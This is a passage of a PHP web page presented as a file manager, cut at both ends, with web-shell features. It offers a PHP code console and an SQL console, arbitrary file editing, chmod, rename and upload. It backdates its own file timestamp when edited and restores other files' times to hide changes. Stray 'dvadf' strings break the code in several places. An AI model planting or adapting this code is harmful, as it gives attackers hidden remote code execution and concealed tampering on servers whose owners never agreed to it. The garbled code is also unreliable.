a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

